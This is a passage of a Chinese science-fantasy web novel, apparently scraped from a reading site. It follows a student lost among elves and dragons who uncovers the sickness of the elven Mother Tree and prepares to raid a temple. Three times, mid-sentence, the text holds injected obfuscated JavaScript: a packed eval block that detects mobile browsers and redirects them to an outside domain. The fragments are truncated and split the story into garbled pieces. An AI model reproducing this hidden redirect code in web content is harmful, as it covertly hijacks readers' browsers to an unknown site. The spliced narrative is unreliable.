一旁的银龙不知道王的盘算,还在对王方才的话盲目信任。 啊,啊?王说的肯定是对的! 刚刚愤怒的银龙立刻话锋一转,称赞王的英明,顺便拉踩下人族,“就算不是他们干的,可我龙族岂是随意驱使的!” “嗯,那确实,所以如果有突然的出现的陌生人族先关起来,没我的命令不许放出。” “是!!!”银龙一个鲤鱼打挺直起上半身,头高高昂起,绷成一条线,兴奋地喷出一口龙息,差点喷到奥瑞利亚的宝物上,她眼都没睁,也没见有任何动作那点龙息便被当场湮灭。 呜,又犯错了…… 银龙顿时萎靡起来,说道:“王,对不起,我下次一定会控制住的。” 奥瑞利亚并不在意这些小事,只让她多练习,可银龙自己并没有轻易放过自己,又一次在她最最崇拜,最最尊敬的王面前丢龙,就好比狂热粉丝在偶像面前平地摔,没法接受这一事实。 但龙族天生心大,银龙emo了一会儿,突然想到一件事,“对了,王,我刚才突然想起赤炎之前遇到了一个凭空出现的人类,和人族首领说的情况很像。” 金龙的眼皮抬了抬,这个举动好像是对银龙最大的鼓舞,她的语调又扬了起来。 “他说是一只星云鲸带着那个人类突然出现,他当时因为龙崽被偷很生气,冲上去打了一架,没打过,被它跑了。” “星,云,鲸……”她重复了一遍。 这个名字在心中震荡,星云鲸怎么会出现?还和人族崽子混在一起,听那家伙所言失踪的是一所学校的学生和老师,但在她眼里这些年纪还没她零头大的人类全是小孩。 星云鲸其实某种意义上也是幻想生物,和幻想种族不同,幻想生物没有族群,每一只幻想生物的诞生都充满了意外和巧合,但一旦出现便是得天独厚,不死不灭,各自拥有特殊力量。而星云鲸是从星云中诞生的,且在很久以前现身过一次, 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说重要确实重要,但这种边界线上的星球还有几百个,祈梦在其中并不出挑,而且矿产匮乏,属于基础农业星球,体积中等,算得上不起眼。 星球上神秘的梦魇族与亚龙种以及龙族混血混居,半龙半人的混血、亚龙与身形虚幻又美丽的梦魇族在大街上随意走动,泾渭分明又异常和谐。 在这待了一天的陈凌鸦还是没能习惯此等神奇的景象,一边走一边自以为隐蔽地悄悄瞄他们。 一天前,再次突兀出现的陈凌鸦现身于一个无人的小巷里,幸运地没有闹出大动静,光脑也能正常使用。 她联系了一些同学和老师,只有一小部分回复了,大部分躺在列表里一动不动,让人担心。 而唯一的好消息是家里人能联系上,家长也了解情况后,陈家家主也就是她的母亲让她不要轻举妄动,她已经联系了一些熟识的官员,准备与龙族交涉让自己的女儿先回来。 陈凌鸦自出事以来一直惶恐不安的心也因此平静下来,虽然这么说对不起生死未卜的同学和老师,但没了对人身安危的担心,陈凌鸦也就既来之则安之,安下心,没有之前的紧迫感和危机感了。 只是,她还是有点担心自己相熟的同学和老师。 好在,虽然池危昨夜不知出了什么事没有回消息,今天倒回了句一切顺利,让她不要担心。 [我就说嘛,谁出事危危都不会有事的!]旁人肉眼难见的小鲸鱼在陈凌鸦周围漂浮,欢快地喷出水花,任谁都能看出它的自信和喜悦。 [你放心好了,我碎星一言九鼎,你绝对平平安安地回去!] [是是是,碎星大人最厉害了,等回去以后,危危那不可得好好夸奖您这位立下汗马功劳的大功臣!您能力如此出众,舍您其谁啊,您绝对是危危最最最信任的鲸!]陈凌鸦在脑海中将碎星翻来覆去夸了一遍,但内心的阴霾却没有轻松消散。 还好池危没事。 原谅她的私心,只要池危没事,她就不会陷入六神无主的地步。 但也只是放松一点。 亲密的友人,点头之交,同学,甚至是老师,那一张张或熟悉或陌生但同样鲜活的面孔,一一从眼前闪过,一想到有些人将会从此从世界上消失,心上就如同被压上一块巨石,说不出的沉重。 生命啊,总是这样璀璨又脆弱,恰如流星飞过。 12. 前人经历 “老师,你说我们什么时候才能出去啊?” “咔嚓咔嚓,咕吱咕吱。” 一个女人大喇喇地躺在沙发上,聚精会神地看着最新出的综艺,往嘴里塞薯片,眼都不眨一下。 “老师,你说句话呀老师!” “说啥,你这个问题都问了八百遍了。”女人翻了个白眼,“别打扰我追综艺。” “我在这待得好好的,为什么要回去?” “回去给那个抠门的老东西加班吗?我都工作了整整三百星年了!这次说什么都不回去!” 学生腹诽,还不是你自己不乐意放假,假期都攒了三年了,没见你放过一天。 但学生还是很识相地给自家老师面子,面无表情地推了推眼镜。 “可是我的课题还没完成呢,我们已经在这待了半个月了,也不知道噜噜兽们有没有饿死,孩子生了没,我记得实验室能在无人状态下供给一个月的食物和水分,我们再不回去,说不定真的要从头开始了。” 是的,她们师徒二人研究的课题就叫做“论灵能如何让噜噜兽更加健康美味高产” 又名“养猪心得”。 在她们离开前,已经从饲料和生长环境入手,研究出了了一种能够让噜噜兽肉质更嫩更美味更高产的可以加在饲料里的补药。 正在进行第三次试药,接下来便准备推广了,结果临时接到了一个带队历练的任务,于是师生二人和其他学生一起喜闻乐见地被一锅端了。 好在有惊无险,经历了一系列的事情,师徒二人带着大部分学生掉到相对友善中立的精灵族,一行人惊动了守卫,刚落地就被抓起来,最终被分开关押在这座宽敞舒适的监狱。 除了不能随便乱走和假期也没什么不同,还有一天两次的放风时间,非常具有人文关怀。 老师僵硬一瞬,显然也想起了这件事,接着若无其事地嚼嚼嚼,“唉,反正急也没用,还不如好好享受假期,再说了这课题是我的,你就是个凑数的小卡拉米,我都不急,你急啥。” “古话说得好,皇帝不急太监急,桥到船头自然直,小优,你还有得学!” 小优点点头,没在意自家老师把自己比作远古时代的太监,同样往嘴里塞薯片,嚼嚼嚼。 “所以……老师你现在在干吗?” 女人不慌不忙地拿起光脑联系看守精灵,头也不回,“你是老师我是老师,一天天这么多问题。” “哦。”学生继续吃薯片。 “喂,大人,我要自首! 我悔过!经过这段时间痛彻心扉的检讨,惨绝人寰的经历,我发现大人您才是对的,早交代早解脱!早坦白少受苦!我承认我们来到精灵族根本不是意外,是一场彻彻底的阴谋!” 对面的精灵声音无波无澜,宛如一潭死水,“哦,所以呢。” “你又要扯什么为了宇宙爱与和平,为了噜噜兽白白胖胖清清白白地离开,你,正义的骑士,慈爱的神使,路见不平拔刀相助决定要带领迷茫的精灵族走向光荣的未来?” “咳咳。”女人有点后悔之前胡说八道太多次,单纯的小精灵已经不好糊弄了。 “不是,是真的要自首,但是必须要和能做决定的长老自首!” 对面的精灵沉思片刻,答道:“这事我不能保证,不过我会和长老反映,长老若是愿意见你才行。” 闻言女人喜形于色,“感谢伟大的瑟兰大人!您是精灵族最后的良心,您的美德与日月同辉!光照寰宇! 赞美母树!!!” 挂断通讯后女人继续盯着综艺,“不愧是我,风龄出马,一个顶俩。” 似乎看到了什么,她突然话锋一转,“咦,大明星蓝越鸣将要出使海妖族?海妖族智械族和人族将共同参与一场综艺?有意思。” 小优没有理会老师嘴里的嘟囔,只一味敷衍,“是是是,老师最厉害了,被关一个月,终于想起要见长老了。” “诶,你小子!”老师丢了个枕头,小优背后长了眼睛一样灵活躲开,推了推眼镜,“老师,您还得练啊。” 风龄这次真的被气到了,“逆徒!气死我了,啊啊啊啊,你就仗着我打不过你!回去以后我用机甲和你比划比划,你可别求饶!” 小优神情一肃,将掉在地上的枕头捡起来,恭恭敬敬地双手递上,“老师,您请。” “正所谓老师有事我先上,老师吃肉我喝汤,老师打骂不还口。身为学生第一条便是尊师重道,老师您打吧,学生绝对不会反抗的!” “呵呵。”风龄翻了个白眼,象征性地拿着枕头,不轻不重的拍了两下便停手,“你要是真像嘴上说的这么好听才叫见了鬼了。” 这边师徒二人在被迫度假时顺便搞内讧,另一边,饱受折磨的瑟兰长官木着一张脸再次拨通了通讯。 嘟嘟几声响过通讯被接通了,那边传来一句喂,还有些嘈杂的背景音,有点像龙吼。 但这关她什么事呢,精灵少操心才能活得久。 于是瑟兰充耳不闻,一心汇报工作:“五长老,今天姓风的人类依旧没有交代,而且今天——” 那边突然传出一声巨响,五长老咬牙切齿的声音传来:“奥瑞利亚,我的桌子!这是第几张了!” “你最好给我小心点,小心修为不要被我超过,否则你真的完蛋了!” 然后又是龙吼和鼻子喷气声,连瑟兰都听出其中包含十足的不屑,五长老在现场体会自然更深。 “欺人太甚!你给我滚出精灵族!精灵族不欢迎你这种一身蛮力没有脑子无耻嚣张的蠢龙——” 接着是一阵噼里啪啦的响动,过了一会儿,瑟兰看了下时间,大概五分钟吧,那边终于消停了,但五长老依旧没有露面,只是传来一道故作平和的声音: “喂,瑟兰吗,不好意思,我这里刚刚有点事,没听清你之前说的内容,可以再说一遍吗?” 瑟兰假装没听见五长老因为疼痛导致的小小的吸气声,又将内容重复了一遍。 五长老也没空管刚刚的插曲,进入了工作的状态,思考片刻,回复道:“又抓到几个人类……这件事我知道,人族的君王之前联系过我,他们那有一批学生和老师掉进时空裂隙,可能会落到我们精灵族。” “估计之前那几个人也是这种情况,嗯,既然这样,之后你也不用继续审问了,就继续关起来,等人族来赎。” 瑟兰想起风龄的请求,又问道:“人族那边那个姓风想见您,您看要答应吗。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16212880|181363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五长老皱了皱眉,她虽然已经清楚了这批人族擅闯的原因,但她是不可能把他们放了的。所以无论那个人类为什么想见她,又能说出什么,目的也不外乎如此。 所以见或不见都没有意义,还平白给自己增加工作量。 于是五长老回复:“不见,你就和她说暂时不会放了他们,这没得商量。” 瑟兰答是。 通话结束,瑟兰还有些恍然,向副官确认,“也就是说,我们不用再听那个人类的鬼话了?” 副官顶着那副憔悴但依旧美丽的面容,同样不敢置信,“好像是的?” 就这样对视良久,两个精灵眼睛都亮了,生动诠释了什么叫做容光焕发,什么叫做垂死病中惊坐起。 “副官,把那个叫风龄的人类拉黑!从今以后,我不要再听到她说一个字!”瑟兰长官的声音中气十足,沉稳中有着压抑不住的喜悦。 “是!长官!”副官觉得长官的命令从来没有这么悦耳过,自己也从来没有回答得这么嘹亮过。 两个精灵因为太过激动,忘了有个人类正在焦急地等瑟兰的答案,而这个人已经在不知道的时候被拉黑了,所以这注定是一场无望的等待。 但这不重要。 重要的是,这一刻,她们的天,终于亮了。 ** “这就是长老的住处?”池危一脸好奇地望着眼前逼仄的小巷,“这里人口密度这么大的吗?” 她一路走来发现主城的建筑样式和布局与古时的人族很像,都是建在地面上的房屋和细长街道,与其他城市贴近自然的风格迥然不同,尤其是这所谓的长老住处,她们拐过一个又一个迷宫似的巷子才终于到达。 卡拉摇摇头,回答道:“主城的人口确实最为密集,许多恋旧的精灵以及神殿相关的工作人员一直住在附近,但不至于住在这么小的地方。” “至于长老为什么会住在这么逼仄之处……” 卡拉轻叹一口气,“这就是七长老的个人爱好啦。” 她边说边走到小巷尽头,是一面暗绿色的砖墙,她没有停步,径直穿过墙壁,墙壁上荡开虚幻的水波纹。 池危见状紧随其后,眼前从暗到明,她睁眼看去,眼前是一处宽敞的小院,院子中间是一棵巨树,主干大约要五人合抱才能丈量。 “七长老,别睡了,您看,我又带来一个半精灵。” 树前摆着一个摇椅,一个满头红发的精灵躺在摇椅上睡得正香,丝绸般的靓丽红发铺满整个椅子。 听到卡拉的话,精灵闷哼两声,伸了个懒腰,翻个身,勉强睁开一只眼,瞄了一眼池危,也不知道看没看清,嘟囔着,“嗯?是小卡拉啊,又有半精灵回来了?” “好好好,我知道了,我等会就起来,你们也躺一会儿吧。” 卡拉好像习惯了他这副做派似的,毫不客气地拉着池危躺在了院中空着的两只摇椅上,一起昏昏欲睡地晒着太阳。 院中的阳光并不刺眼也并不炽热,是那种春日温温的柔柔的光,晒得人暖洋洋,轻飘飘。 池危看着两人自顾自走完了流程,左看右看根本插不上话,只好和卡拉一起躺下,也入乡随俗地在第一次见面的七长老院中小憩。 13.疑窦丛生 感觉过了许久,久到池危在这暖融融的环境中昏昏欲睡,快要睡过去了,才听到一声—— “唔,睡得真舒服啊!”七长老长舒一口气,一边伸着懒腰一边直起了身子。 闭目养神的二人也随之睁开眼,池危看了下时间,才过去了十五分钟。 卡拉再一次向七长老介绍了池危的信息,清醒时的七长老锐利的红眸像是手术刀一样,将半精灵里里外外解剖一遍,接着眼睛微眯,“你说是多多洛让你这么做的?”卡拉与他对视一眼,明白了他的潜在意思,答了句是。 “既然有小十一为你担保,那你便先留在我这吧。”七长老又恢复了先前的慵懒,好像之前的犀利是旁人的错觉,“是叫布莱尔吧,很可爱的名字啊!” 池危也眯着眼睛微笑回答:“是的!多谢七长老的夸奖,布莱尔以后就要仰仗长老的教导了!” 七长老生就一副热烈张扬的模样,艳丽的红发红眸以及随意慵懒的作风,与浅色系为主的精灵族格格不入。 像是生长在小雏菊丁香满天星等花丛中的一株热烈绽放的玫瑰,又像是肆意燃烧的烈焰,以枯枝败叶为养料,舒展自己的美丽。 他身上有一种精灵中少见的气质,一种锋利的、灼目刺人的攻击性。 但他慵懒的作风和神情却恰好缓和了这种攻击性,柔和了一些锋芒,让他看起来艳丽居多,锋锐不足。 两人心照不宣地对视一瞬,脸上挂着虚伪的友善,彼此心知肚明,只有一旁的卡拉满脸欣慰地看着他们友好的笑脸,心中十分感动。 果然,就算半精灵有点小秘密,但还是个非常好的孩子,看,她和七长老相处得多好! “那我就不打扰你们喽,我等会还要给幼崽们上课呢。” 想到幼崽们,她的心情又低落下来,这些年,族中的幼崽一年比一年少,今年竟然只诞生了三只精灵幼崽! 再这样下去,真让人担心三年后的诞日,母树是否会一只崽子也不长。 如今未成年的幼崽加起来也不过一百位,分给每个成年精灵教导的崽子就更少,只有三到五个了,卡拉想到自己负责教导的三只幼崽有些忧心忡忡。 她回过神,望着两个精灵,自觉任务圆满完成,压在肩上的担子有个子高的担着,轻了许多,自己留在这反而碍事,不如让他们俩好好培养感情,便与他们道了别。 正准备离开时,卡拉又想起什么似的,不放心地回头叮嘱道:“对了布莱尔,如果有什么难处可以来找我哦,我家在鸢尾花街道3号,无论什么我都可以帮得上忙的!记得用光脑联系!” 卡拉离开后,小院里原本其乐融融的气氛冷凝下来,有些紧绷。 七长老笑眯眯地问道:“小布莱尔,虽然我知道你有点小秘密,但你能告诉我你在这个时间来我们精灵族的主星有什么目的吗?” 他的声音虽然轻柔但带着不可抗拒的威压,攀在躺椅上的绿藤也蠢蠢欲动,似乎如果她不能给个令他满意的解释,后果将不如人意。 布莱尔好像没感觉到空气中无形的威胁,依旧保持灿烂微笑,露出两颗虎牙。 “其实这次来到精灵族是意外导致啦,不是故意的,不过无巧不成书,虽是意外,但我也确实发现了一些严重的问题。” “哦?说来听听。” “如果我没感觉错的话,精灵母树出事了吧。所以在这个时候封闭主星,还将散落在外的半精灵统统寻回,而且这些年族里的精灵这些年也失踪了很多。 据我所知,精灵族虽友爱同族但也只限于纯血精灵,不会无缘无故花这么大力气寻找半精灵。与此同时,大量精灵失踪,这种情况陆陆续续有几百年。 总而言之,精灵族的情况,不妙啊。” 池危之前一时兴起的表演也不全是冲动,她趁此机会与精灵母树取得了联系,令她惊讶的是,母树一直记得她的气息,她一联系,母树就像控诉似的,一股脑地将自己的状况告诉了她。 唉,亲爱的,多年未见的母亲啊。 念及此事,她的眼中闪过一丝疼惜。 “所以,精灵族被设局了。” “你们采取的措施好像只有将失落的半精灵找回吧。 “……这二者之间一定有联系。那么答案就很简单了,你们认为,半精灵身上有某种东西能够缓解母树的情况?” “这就是唯一的解决办法?没有其他的了吗?!” 布莱尔的眼神似乎不敢置信,好像在说你们想了半天就想出这么个馊主意! 七长老被这看傻子的眼神看得有些破防,面色越来越冷。 虽然他们内部其实是有采取其他措施的,虽然他也私下吐槽其他决策人员太优柔寡断,效率太低,办法也很糟糕,但他为啥要告诉这么个嘴毒的陌生半精灵! 而且她这是什么眼神,什么语气!好像整个精灵族全是傻子似的。 不给她一点教训不知道什么叫天高地厚了! 七长老身为强者的威压不再收敛一股脑直冲她而来。 那威压将凶狠的藤蔓都压得死死贴在地上,压碎了几块石头。 但布莱尔却像毫无感觉一般,无视周身越来越沉重的气势,抖抖身子,将迫人的威压轻而易举地卸下。 七长老只能冷哼一声,收了威压,藤蔓则猛得向上一弹,恢复了原本张牙舞爪,仗势欺人的模样。 面对七长老越发冷凝,暗藏怒气的面孔,布莱尔作出无辜脸,随意用手指勾勾绿藤,原本绷直的手臂粗的狰狞绿藤不自觉软了下来,凑过来蹭蹭,又似乎意识到了什么,猛地僵直不动了。 “七长老怎么这么看我?是我哪里说错了吗?” 七长老看着她装模作样,甚是气人,心中冷笑。 还哪里说错了,她说得一点都没错就是最大的问题! 才来两天就将精灵族的秘密摸了个遍,这和到别人家做客,把主人穿得严严实实的衣服全扒了,还顺手摸了一把并贴脸表示你身材也不咋样嘛有什么区别! 她还好意思问怎么了,呵,随随便便往他这丢了个炸弹,将他们费尽心思隐瞒的最大的隐秘一口气捅了出来,丝毫不考虑他们这些每天勤勤恳恳战战兢兢隐瞒的精灵的感受! 她好像也不担心他恼羞成怒之下将人灭口。 这到底是从哪冒出来的半精灵?是谁养大是谁指使的? 他们精灵族可养不出这么厚脸皮的崽子! 七长老此刻十分想将布莱尔以及她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233825|181363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背后的人弄过来里里外外前前后后左左右右搜个干净,可惜他不能,憋屈之意堵在心里,令人难受不已。 情绪剧烈起伏使得七长老红眸燃烧起来,好似流淌的暗红酒液被火苗点燃,闪耀着橙红渐变的火光。 被猝不及防戳穿的惊疑不定,被外人知晓的杀意惶恐以及埋在心底的忧虑不安最终酿成平静。 “噗嗤。”最终,七长老被气笑了。 没脸没皮自说自话的半精灵可真是可恶。 不过,她如何知道这一切已经不重要了,重要的是她做这些事的目的是什么,要借此秘密对付精灵族?不,如果是这样她就不会如此明目张胆,自她来到主星,一切痕迹都毫不遮掩,有心人能查个一清二楚。 难不成,是想帮忙? 呵,他们十几个长老自发现端倪以来就开始研究解决方法,到现在才勉强找到一丝缓解的可能,而她又能做什么? 算了,左右一切都准备就绪,无论她想做什么都来不及了,只要这些天一直看在眼皮底下,这崽子也翻不起什么风浪。 以他的眼光当然能看出这家伙确实是个半精灵,而精灵对同族的爱护是刻在骨子里的。 除非犯下不可饶恕的大错不会对同族出手,否则在发现布莱尔藏着不为人知的目的时就直接关押拷问了,也不会像现在这样纠结。 他看出布莱尔不会实话实说,也懒得再做纠缠,就准备让她找个房间住下,明天和其他半精灵一起上课。 没想到,她又扔下个惊天炸弹。 “如果说,我知道母树发生了什么,也有办法解决呢?”布莱尔正经起来,翠绿的眸子熠熠生辉,显得格外认真。 “你,你说什么!”七长老瞳孔骤缩,强压下不该出现的惊喜之意,反复告诫自己这很可能是个陷阱,但还是控制不住心底升起的希望。 他定定地望着布莱尔,“事关精灵母树,你所说的每一句话都最好属实……否则,你不会想知道有什么后果。” 布莱尔依旧笑容灿烂,眨了下右眼,右手握拳平放在胸口处,这是精灵族的礼仪,“我办事,你放心!” 七长老毫不掩饰地露出无语的神色,翻了个白眼。 就是因为你这样,他才不放心…… “对了,还有一件事,布莱尔不知当讲不当讲。” “讲。” “那个,呃,长老您看我初来乍到的,有点囊中羞涩,那个补助金什么时候——” “滴,您的星网账户到账五十万星币!” !!! 布莱尔看了看那串象征着五十万星币的数字,又看看自己曾经辛辛苦苦,勤勤恳恳挣来的二十五万,又想到自己兜里的矿和魔药,陷入了沉思。 精灵真是个好地方啊,随随便便就能捡那么多钱,还是白捡! 精灵族真好,她要誓死守护精灵族! “天呐,七长老您真是人美心善的典范!慷慨解囊资助我这个可怜的半精灵,从今以后您就是我布莱尔的再生父母,第一老板! 您让我喝水我绝不吃饭,您让我往东走我绝不往南走!您让我唱歌我绝不跳舞,您让我炼药我绝不挖矿!” 七长老:…… 他只觉得吵闹。 14.打入内部 清晨,布莱尔在七长老的要求下,和一群新找回的长相奇奇怪怪的半精灵一起聆听七长老的“精灵族常识之保住小命你应该知道的三十三件事”。 说是三十三件,其实根据布莱尔看来,知识点至少有六十六件。 有些是曾经的引导者老师千叮咛万嘱咐的注意事项,这些布莱尔早就烂熟于心,还有一些是这颗星球上特有的规定,例如哪些地方极度危险,小精灵去一次十有八九回不来,哪些地方宝藏遍地,随便探索一下就能大丰收。 还有一些则是介绍不同城市的不同生活习惯和特色物产,有哪些清闲有趣又赚得多的工作适合胆子小不敢去探险的小精灵。 布莱尔对前者不屑一顾,对后者奋笔疾书,再次感慨,精灵族可真大方啊。 也就是精灵族了,数量少,占地面积广,资源又极度丰富,实力还强,才能对自己精灵这么好。她今天才知道,像之前那块遍布奇花异草和矿脉的湖泊,竟然是半开放地带! 每个精灵每月都有一次申请机会,进去采摘挖掘的物资数量也有标准,有专门精灵检查,不能超出,若是有耍心眼的偷偷携带物资离开,就会被拉进黑名单,根据情况严重性调整处罚时间。 所以,一般精灵没有必要趁天黑偷偷去那片湖泊,现在精灵族封闭,外族都离开了,守卫也很少去巡视。 这让当时小心翼翼,做贼心虚的布莱尔白白心虚警惕了好久,都没见人影,还沾沾自喜呢,原来是真的没有精灵看守啊,哈哈。 布莱尔觉得自己这种情况可能就是以小人之心度君子之腹了吧。 她心里默默流泪,觉得离开精灵族太久,家里越来越富了,只有她这个穷亲戚没享受到。 怪不得有精灵族认证标识的账号一上网就会有一大批人围上来,有的当捧哏,有的拍马屁,有的搭话,绝不让精灵的任何一句话落在地上,哄得人家开开心心的,说不定一个高兴送点小礼物都能抵自己一个月工资呢。 布莱尔决定不再想这些伤心事,听听七长老在讲什么。 但是课堂已经过了一半,七长老已经从一开始引人入胜的致富经穿插安全警示变成了枯燥的精灵族常识,有关修炼和职业的,这些东西熟得不能再熟了,于是开始左耳朵进右耳多出,视线从七长老漂亮的红头发转移到了其他同学的身上。 半精灵的模样千奇百怪,最常见的是人族混血,除了耳朵短一点,和精灵没什么不同,其次是兽人混血,长着各种样式的耳朵和尾巴,皮肤上覆盖着绒毛。 少见的还有龙族、海妖、、树人、妖精、地精、矮人、天使、恶魔等等等等,种类之丰富令布莱尔叹为观止。 也难怪部分精灵不接受半精灵为同族了,他们确实长得不太像精灵,没有精灵那样空灵的美貌,有的甚至称得上丑陋奇怪。 他们坐在树桩模样的椅子上,身前摆着张矮桌,每个精灵的桌子间隔大约半个手肘,很宽敞,不过这也有不方便之处——不好和同桌聊天了。 布莱尔的同桌是一个长着牛角牛尾的半精灵,应当有一半兽人的血统,性格也有点像兽人。 就像此时,布莱尔托着腮,漫不经心地听着七长老讲精灵族的天赋有哪些,哪些天赋有意思又实用,新手应该如何激发自己的天赋,她的同桌却昏昏欲睡,眼皮努力撑起又落下,撑起,落下。 头也一点一点的,一直重复这个过程,直到彻底没了动静。 布莱尔悄咪咪瞅了瞅七长老,又瞟了眼同桌,决定当一回好同桌,一只手滑下去,戳戳同桌毛绒绒的腿,同桌被吓得一个激灵,登时挺直腰板,惊慌地左看右看也没发现是谁戳她。 大概是动静太大了,引来了七长老的关注,七长老望向这个角落,状似不经意地从布莱尔身上扫过,停在了同桌的身上。 “小伊,打起精神来,别睡了,再睡就站起来。” 小伊用憨厚洪亮的嗓音答了声是,接着猛地站起来,不好意思地摸摸后脑勺,回答:“长老,俺也不知道为啥,一听您讲课就想睡觉,感觉跟催眠曲似的,梦眠花都没这么催眠,俺还是站着听吧。” 小伊自顾自说着,丝毫没注意七长老的脸色一点点阴沉下去,布莱尔觉着七长老那张容色姝丽的脸都不好看了,耷拉着,有种暗沉丧气之感,吓得布莱尔心里哒哒地跳。 原来当老师这么折磨人,连天生丽质的精灵都被摧残成这样,那样明媚艳丽的脸竟然能这么暗淡,怪不得七长老休息时整天睡不醒了。 七长老脸色虽然难看,但他什么也没说,仿佛有种经历颇多的心酸和无奈,看着小伊坐下后再次黏在一起的眼皮,睁一只眼闭一只眼,移开了目光。 过了一会儿,不出意料,小伊又睡了,坐得笔直,只是头垂下来,此起彼伏的呼噜声像是茶壶水烧开了那样,咕嘟咕嘟咕嘟…… 布莱尔看着七长老不时瞟来的眼神和越发冷酷的黑脸,捂着嘴偷笑。 “下课。” 终于下课喽,布莱尔嘻嘻嘻。 “小伊……还有布莱尔过来一下。” 啊,啊?关她什么事啊! 布莱尔不嘻嘻。 两个半精灵因为课上的小动作被七长老念叨了一通,七长老皱着眉念叨,下面两个不停点头。 不知道是不是学生太气人的缘故,之前张扬肆意,艳光四射的七长老面相都变了,让布莱尔幻视曾经严肃冷酷逮着她不放的老教授,整个精灵充斥着被折磨过后的平和。 连打着卷的红色大波浪都蔫了吧唧,带着一种或者很好死了也行的佛系,竟然变成了顺直的长发! 这可太令人惊讶了,情绪的改变竟然能影响发型,如果她现在在研究院任职,又能写一篇骗经费的论文了。 例行的谈话后,布莱尔一边腹诽一边拉着小伊离开。 “果然,老师真是伟大。”布莱尔感慨道。 “啊?什么老师?”小伊有点摸不着头脑,想了半天没想明白这句话是从哪蹦出来的,于是索性就当没听见布莱尔刚才奇怪的发言,“所以,待会儿吃啥?” 布莱尔摇头,果然没人懂她的幽默。 “吃螺旋爆炸西果脆骨面!” …… 布莱尔面前放着一碗她心心念念的螺旋爆炸西果脆骨面,但她没有吃,视线一直停在对面小伊的牛角上,仔细一看,其实她的眼神很空洞,没有聚焦。 [碎星,有查到什么吗?] 契约空间中的小鲸鱼甩甩尾巴,回答:[危危,你让我找的东西好像是在神殿的一处地下,不过那里有一股很强大的气息,我不能保证可以不惊动那人拿到东西。] [嗯。]布莱尔沉思一瞬,[今晚我和你一起过去吧,今天真是辛苦你了。] [等这次任务结束,我带你去找星辉石吃好不好?] 星辉石!想到那种矿石酸酸甜甜的滋味,和嚼起来沙沙的口感,小鲸鱼只是想着口水都要流下来了,它快乐地转了好几个圈,喷出一朵朵水花。 [好!!!!碎星最最最最喜欢危危了!] 布莱尔忍俊不禁。 对面的小伊看到同桌露出的诡异微笑打了个寒颤,“面都凉了还不吃啊,搁那笑什么,噫——” 还怪渗人的。 像那种脑子不好使的智障精灵。 小伊有点怀疑同桌的脑子被七长老说傻了,要不然怎么从办公室出来后一直说些奇奇怪怪的话,现在更是看着都无法理解。 面对小伊奇怪的眼神,布莱尔表示现在她心情好,不跟脑子一根筋的傻牛计较,冲小伊笑了笑,然后低下头继续呼噜呼噜吃面。 殊不知,正是她这不正常的表现让小伊更加确定了自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“不过,你要这个草娃娃有什么用啊,这东西也就有点纪念意义了,没什么大用。” 布莱尔没有正面回答,“唔,反正到时候就知道了,不过莉亚,请你放心,我一定会把它完好无损地带回来的!” 莉亚被她郑重的模样逗笑了,“也没那么严重,能帮上你的忙就很好了!” 莉亚是她昨天在山林里闲逛时遇见的,当时莉亚正在采药,不小心招惹了一头棘刺暴龙兽,被打得浑身是伤,魔力耗尽,正陷入绝望之际,布莱尔背着光从天而降一脚踢飞了暴龙兽,拯救了莉亚。 这是莉亚的原话,布莱尔怀疑莉亚给自己加了过多的滤镜,导致这话中之人英勇无匹得都让她认不出来了。 之后莉亚为了报答她,在她的强烈要求下,决定将藏有胎衣的草娃娃送给布莱尔。 莉亚其实也想送别的,但这个东西是布莱尔点名要的,她觉得这种仅有纪念意义,没有价值的物品完全无法体现自己的感激之情,又送了自家店里很多珍惜的果实给布莱尔。 精灵是从精灵果实中诞生的,所以精灵的胎衣就是果皮。精灵出生后果皮就瞬间枯萎了,从此成为毫无魔力波动的无用之物。 因此很多粗心大意的精灵长大后自己都不知道丢哪了,少数精灵会小心收藏好留作纪念。 布莱尔需要的其实不是枯萎的果皮,而是果实顶端的两片叶子,她拿过草娃娃用精神力探测一番,发现两片叶子保存完好,这让她松了一口气。 叶子虽然不具备魔力,但却是她要举行的大型仪式的引子,有大用,这么快能找到为后续计划减少了许多麻烦。 想到这里,布莱尔的笑容更开心了,又和莉亚聊起上课的趣事来。 两个精灵的谈话传到水鹅兰那里,它倏地挺直了身子,直到布莱尔结束谈话,离开原地,许久没有声音传来,它才慢慢恢复之前状态,贴住地面,随风摇摆。 与此同时,布莱尔的脚步停住一瞬,接着大步迈开,嘴角的弧度扩大。 终于走了啊,被别人一直看着还挺不自在的呢。 15.夜袭神殿 深夜,星时三点。 两轮弯月悬在天边,洒下盈盈月光,似一层薄纱覆盖地上的一草一木。 虫鸣鸟叫一切如常,某处,一朵散发着甜蜜香气的巨大花朵吸引了几只寻找事物的蚂蚁,蚂蚁一步步挪到花心,舔舐蜜汁,倏地,花朵合拢,将几只倒霉的小蚂蚁全部包裹。 片刻之后,花朵再次打开,却不见蚂蚁的踪迹,只留花朵在夜色中伫立,默默散发诱人的气息,静谧而美好。 此时的夜空,两轮弯月中间中一抹黑影极快地掠过,警惕的夜枭慢条斯理地梳理着羽毛,时不时180度回头查探动静,却没有发现那抹身影刚刚从身边闪过。 